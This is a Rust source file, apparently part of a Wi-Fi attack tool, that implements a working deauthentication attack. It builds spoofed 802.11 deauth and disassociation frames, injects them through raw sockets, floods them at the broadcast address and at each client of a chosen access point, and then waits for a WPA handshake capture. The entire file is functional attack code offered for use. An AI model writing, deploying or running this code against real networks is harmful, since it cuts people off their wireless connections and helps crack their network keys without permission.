use std::sync::atomic::{AtomicBool, AtomicU32, Ordering};
use std::sync::Arc;
use std::time::Duration;
use crate::types::*;
pub const DEAUTH_REASONS: &[(u16, &str)] = &[
(1, "Unspecified"), (2, "Auth no longer valid"), (3, "Station leaving/deauth"),
(4, "Inactivity"), (5, "AP overloaded"), (6, "Class 2 from non-auth"),
(7, "Class 3 from non-assoc"), (8, "Station leaving/disassoc"),
(9, "Not authenticated"), (10, "Unacceptable power cap"),
(11, "Unacceptable supported channels"), (12, "BSS transition disassoc"),
(13, "Invalid IE"), (14, "MIC failure"), (15, "4-way handshake timeout"),
(16, "Group key handshake timeout"), (17, "IE in 4-way mismatch"),
(18, "Invalid group cipher"), (19, "Invalid pairwise cipher"),
(20, "Invalid AKMP"), (21, "Unsupported RSN version"),
(22, "Invalid RSN capabilities"), (23, "802.1X auth failed"),
(24, "Cipher suite rejected"), (25, "TDLS teardown unreachable"),
(26, "TDLS teardown unspecified"), (34, "Disassoc low ACK"),
];
const FRAME_TYPE_DEAUTH: u8 = 0xC0;
const FRAME_TYPE_DISASSOC: u8 = 0xA0;
const RADIOTAP_TX: [u8; 12] = [
0x00, 0x00, 0x0c, 0x00, 0x04, 0x80, 0x00, 0x00, 0x0c, 0x00, 0x08, 0x00, ];
pub fn parse_mac(mac_str: &str) -> Option<[u8; 6]> {
let parts: Vec<&str> = mac_str.split(':').collect();
if parts.len() != 6 { return None; }
let mut bytes = [0u8; 6];
for (i, part) in parts.iter().enumerate() {
bytes[i] = u8::from_str_radix(part, 16).ok()?;
}
Some(bytes)
}
pub fn build_management_frame(
frame_type: u8, dest: &[u8; 6], src: &[u8; 6], bssid: &[u8; 6], reason: u16,
) -> Vec<u8> {
let mut f = Vec::with_capacity(38);
f.extend_from_slice(&RADIOTAP_TX);
f.push(frame_type);
f.push(0x00);
f.push(0x00); f.push(0x00); f.extend_from_slice(dest);
f.extend_from_slice(src);
f.extend_from_slice(bssid);
f.push(0x00); f.push(0x00); f.push((reason & 0xFF) as u8);
f.push((reason >> 8) as u8);
f
}
pub fn open_raw_socket(iface: &str) -> Option<(i32, libc::sockaddr_ll)> {
let sock = unsafe {
libc::socket(libc::AF_PACKET, libc::SOCK_RAW, (libc::ETH_P_ALL as u16).to_be() as i32)
};
if sock < 0 { return None; }
let mut ifr: libc::ifreq = unsafe { std::mem::zeroed() };
let iface_bytes = iface.as_bytes();
let copy_len = iface_bytes.len().min(libc::IFNAMSIZ - 1);
unsafe {
std::ptr::copy_nonoverlapping(
iface_bytes.as_ptr(), ifr.ifr_name.as_mut_ptr(), copy_len,
);
}
if unsafe { libc::ioctl(sock, libc::SIOCGIFINDEX, &mut ifr) } < 0 {
unsafe { libc::close(sock); }
return None;
}
let ifindex = unsafe { ifr.ifr_ifru.ifru_ifindex };
let mut sa: libc::sockaddr_ll = unsafe { std::mem::zeroed() };
sa.sll_family = libc::AF_PACKET as u16;
sa.sll_ifindex = ifindex;
sa.sll_protocol = (libc::ETH_P_ALL as u16).to_be();
Some((sock, sa))
}
pub fn inject_frame(sock: i32, sa: &libc::sockaddr_ll, frame: &[u8]) -> bool {
let sa_ptr = sa as *const libc::sockaddr_ll as *const libc::sockaddr;
let sa_len = std::mem::size_of::<libc::sockaddr_ll>() as u32;
let ret = unsafe {
libc::sendto(sock, frame.as_ptr() as *const _, frame.len(), 0, sa_ptr, sa_len)
};
ret >= 0
}
pub fn test_injection(iface: &str) -> Result<(), String> {
let (sock, sa) = open_raw_socket(iface)
.ok_or_else(|| "Failed to open raw socket".to_string())?;
let test_frame = build_management_frame(
FRAME_TYPE_DEAUTH,
&[0xFF; 6], &[0x02, 0x00, 0x00, 0x00, 0x00, 0x00], &[0x02, 0x00, 0x00, 0x00, 0x00, 0x00], 1, );
let sa_ptr = &sa as *const libc::sockaddr_ll as *const libc::sockaddr;
let sa_len = std::mem::size_of::<libc::sockaddr_ll>() as u32;
let ret = unsafe {
libc::sendto(sock, test_frame.as_ptr() as *const _, test_frame.len(), 0, sa_ptr, sa_len)
};
unsafe { libc::close(sock); }
if ret >= 0 {
Ok(())
} else {
let errno = std::io::Error::last_os_error();
Err(format!("sendto failed: {} (errno {})", errno, errno.raw_os_error().unwrap_or(-1)))
}
}
#[derive(Debug)]
pub struct DeauthProgress {
pub sent: AtomicU32,
pub failed: AtomicU32,
pub total: AtomicU32,
pub phase: AtomicU32,
pub dwell_elapsed: AtomicU32,
pub dwell_total: AtomicU32,
pub done: AtomicBool,
pub hs_captured: AtomicBool,
pub stop: AtomicBool,
}
impl DeauthProgress {
pub fn new(total: u32, dwell_secs: u32) -> Self {
Self {
sent: AtomicU32::new(0),
failed: AtomicU32::new(0),
total: AtomicU32::new(total),
phase: AtomicU32::new(0),
dwell_elapsed: AtomicU32::new(0),
dwell_total: AtomicU32::new(dwell_secs),
done: AtomicBool::new(false),
hs_captured: AtomicBool::new(false),
stop: AtomicBool::new(false),
}
}
}
fn send_deauth_frames(
iface: &str,
ap: &AccessPoint,
target: &DeauthTarget,
burst_count: u32,
progress: &Arc<DeauthProgress>,
) -> u32 {
let bssid = match parse_mac(&ap.bssid) {
Some(b) => b,
None => return 0,
};
let broadcast: [u8; 6] = [0xFF; 6];
let (sock, sa) = match open_raw_socket(iface) {
Some(s) => s,
None => {
progress.failed.store(1, Ordering::Relaxed);
return 0;
}
};
let targets: Vec<[u8; 6]> = match target {
DeauthTarget::SingleClient(mac) => {
match parse_mac(mac) {
Some(m) => vec![m],
None => vec![broadcast],
}
}
DeauthTarget::All => {
let mut t = vec![broadcast];
for c in ap.clients.keys() {
if let Some(mac) = parse_mac(c) {
t.push(mac);
}
}
t
}
};
let test = build_management_frame(FRAME_TYPE_DEAUTH, &broadcast, &bssid, &bssid, 7);
if !inject_frame(sock, &sa, &test) {
progress.failed.store(1, Ordering::Relaxed);
unsafe { libc::close(sock); }
return 0;
}
let frame_types = [FRAME_TYPE_DEAUTH, FRAME_TYPE_DISASSOC];
let mut sent: u32 = 1; let mut failed: u32 = 0;
progress.sent.store(sent, Ordering::Relaxed);
for _ in 0..burst_count {
for &(reason, _) in DEAUTH_REASONS {
for &ftype in &frame_types {
for target_mac in &targets {
let frame = build_management_frame(ftype, target_mac, &bssid, &bssid, reason);
if inject_frame(sock, &sa, &frame) {
sent += 1;
} else {
failed += 1;
}
progress.sent.store(sent, Ordering::Relaxed);
progress.failed.store(failed, Ordering::Relaxed);
if *target_mac != broadcast {
let frame_rev = build_management_frame(ftype, &bssid, target_mac, &bssid, reason);
if inject_frame(sock, &sa, &frame_rev) {
sent += 1;
} else {
failed += 1;
}
progress.sent.store(sent, Ordering::Relaxed);
progress.failed.store(failed, Ordering::Relaxed);
}
std::thread::sleep(Duration::from_micros(500));
}
}
std::thread::sleep(Duration::from_millis(5));
}
if burst_count > 1 {
std::thread::sleep(Duration::from_millis(100));
}
}
unsafe { libc::close(sock); }
sent
}
#[allow(clippy::too_many_arguments)]
pub fn spawn_deauth(
iface: String,
ap: AccessPoint,
target: DeauthTarget,
burst_count: u32,
dwell_secs: u64,
progress: Arc<DeauthProgress>,
hop_pause: Arc<AtomicBool>,
current_channel: CurrentChannel,
handshake_count: HandshakeCount,
ap_map: ApMap,
) {
std::thread::spawn(move || {
hop_pause.store(true, Ordering::Relaxed);
std::thread::sleep(Duration::from_millis(300));
if ap.channel > 0 {
let ch_str = ap.channel.to_string();
let bw = match ap.channel_width {
160 => "160MHz",
80 => "80MHz",
40 => "HT40+",
_ => "HT20",
};
for attempt in 0..5 {
let result = if attempt < 3 {
std::process::Command::new("iw")
.args(["dev", &iface, "set", "channel", &ch_str, bw])
.output()
} else {
std::process::Command::new("iw")
.args(["dev", &iface, "set", "channel", &ch_str])
.output()
};
if let Ok(o) = &result {
if o.status.success() {
*current_channel.lock().unwrap() = ap.channel;
break;
}
}
if attempt < 4 {
std::thread::sleep(Duration::from_millis(100));
}
}
std::thread::sleep(Duration::from_millis(100));
}
progress.phase.store(0, Ordering::Relaxed);
let sent = send_deauth_frames(&iface, &ap, &target, burst_count, &progress);
{
let mut map = ap_map.lock().unwrap();
if let Some(entry) = map.get_mut(&ap.bssid) {
entry.deauth_sent += sent;
entry.last_deauth = Some(std::time::Instant::now());
}
}
progress.phase.store(1, Ordering::Relaxed);
let hs_before = *handshake_count.lock().unwrap();
for elapsed in 0..dwell_secs {
if progress.stop.load(Ordering::Relaxed) { break; }
progress.dwell_elapsed.store((elapsed + 1) as u32, Ordering::Relaxed);
std::thread::sleep(Duration::from_secs(1));
let hs_now = *handshake_count.lock().unwrap();
if hs_now > hs_before {
progress.hs_captured.store(true, Ordering::Relaxed);
break;
}
}
hop_pause.store(false, Ordering::Relaxed);
progress.phase.store(2, Ordering::Relaxed);
progress.done.store(true, Ordering::Relaxed);
});
}